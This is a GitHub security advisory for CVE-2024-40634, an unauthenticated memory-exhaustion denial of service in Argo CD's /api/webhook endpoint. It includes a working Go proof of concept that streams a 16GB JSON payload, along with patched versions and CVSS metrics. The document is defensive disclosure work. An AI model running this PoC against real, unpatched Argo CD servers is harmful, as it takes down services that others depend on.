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Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint

High severity GitHub Reviewed Published Jul 22, 2024 in argoproj/argo-cd • Updated Aug 7, 2024

Package

gomod github.com/argoproj/argo-cd (Go)

Affected versions

>= 1.0.0, <= 1.8.7

Patched versions

None
gomod github.com/argoproj/argo-cd/v2 (Go)
< 2.9.20
>= 2.10.0, < 2.10.15
>= 2.11.0, < 2.11.6
2.9.20
2.10.15
2.11.6

Description

Summary

This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.

Details

The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.

The fix would be to enforce a limit on the size of the request being parsed.

PoC

Port-forward to the argocd-server service, like so:

kubectl port-forward svc/argocd-server -n argocd 8080:443

Run the below code:

package main

import (
	"crypto/tls"
	"io"
	"net/http"
)

// Define a custom io.Reader that generates a large dummy JSON payload.
type DummyJSONReader struct {
	size int64 // Total size to generate
	read int64 // Bytes already generated
}

// Read generates the next chunk of the dummy JSON payload.
func (r *DummyJSONReader) Read(p []byte) (n int, err error) {
	if r.read >= r.size {
		return 0, io.EOF // Finished generating
	}

	start := false
	if r.read == 0 {
		// Start of JSON
		p[0] = '{'
		p[1] = '"'
		p[2] = 'd'
		p[3] = 'a'
		p[4] = 't'
		p[5] = 'a'
		p[6] = '"'
		p[7] = ':'
		p[8] = '"'
		n = 9
		start = true
	}

	for i := n; i < len(p); i++ {
		if r.read+int64(i)-int64(n)+1 == r.size-1 {
			// End of JSON
			p[i] = '"'
			p[i+1] = '}'
			r.read += int64(i) + 2 - int64(n)
			return i + 2 - n, nil
		} else {
			p[i] = 'x' // Dummy data
		}
	}

	r.read += int64(len(p)) - int64(n)
	if start {
		return len(p), nil
	}
	return len(p) - n, nil
}

func main() {
	// Initialize the custom reader with the desired size (16GB in this case).
	payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB
	reader := &DummyJSONReader{size: payloadSize}

	// HTTP client setup
	httpClient := &http.Client{
		Timeout: 0, // No timeout
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader)
	if err != nil {
		panic(err)
	}

	// Set headers
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("X-GitHub-Event", "push")

	resp, err := httpClient.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()

	println("Response status code:", resp.StatusCode)
}

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.6
v2.10.15
v2.9.20

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by Jakub Ciolek

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

References

@pasha-codefresh pasha-codefresh published to argoproj/argo-cd Jul 22, 2024
Published to the GitHub Advisory Database Jul 22, 2024
Reviewed Jul 22, 2024
Published by the National Vulnerability Database Jul 22, 2024
Last updated Aug 7, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-40634

GHSA ID

GHSA-jmvp-698c-4x3w

Source code

Credits

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